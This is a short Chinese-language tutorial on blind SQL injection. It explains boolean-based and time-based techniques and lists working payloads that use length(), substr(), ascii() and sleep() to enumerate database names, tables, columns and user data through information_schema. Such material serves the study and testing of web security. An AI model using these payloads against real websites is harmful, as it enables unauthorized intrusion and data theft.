什么是盲注?
有时目标存在注入,但是页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。
盲注种类
布尔盲注
布尔很明显Ture
跟Fales
,也就是说它只会根据你的注入信息返回Ture
跟Fales
,也就没有了之前的报错信息
时间盲注
界面返回值只有一种,ture
无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确
盲注函数解析
length()
函数 返回字符串的长度
?id=1 and length(database())>1
limit 0,1 显示第一字符
substf()
截取字符串
id=1 and substr(database(),1,1)='k'
第一个参数代表的是截取的字符串
第二个参数代表的是截取的位数
第三个参数代表的是截取的个数
and length(database())=12
判断库名长度
and substr(database(),1,1)='k'
and ascii(substr(database(),1,1))>1
判断当前数据库名称
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='l'
判断数据库中的表名
and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'
判断字段名
and (ascii(substr((select id from scurity.users limit 0,1),1,1)))=122
判断字段数据
ord()/ascii()
返回字符的ascii码
id=1 and ord(substr(database(),1,1))=107
时间型
sleep()
将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3)
判断语句 如果第一个语句正确 就执行第二个语句,如果错误 执行第三个语句
id=1' and if(length(database())=8,1,sleep(5)) --+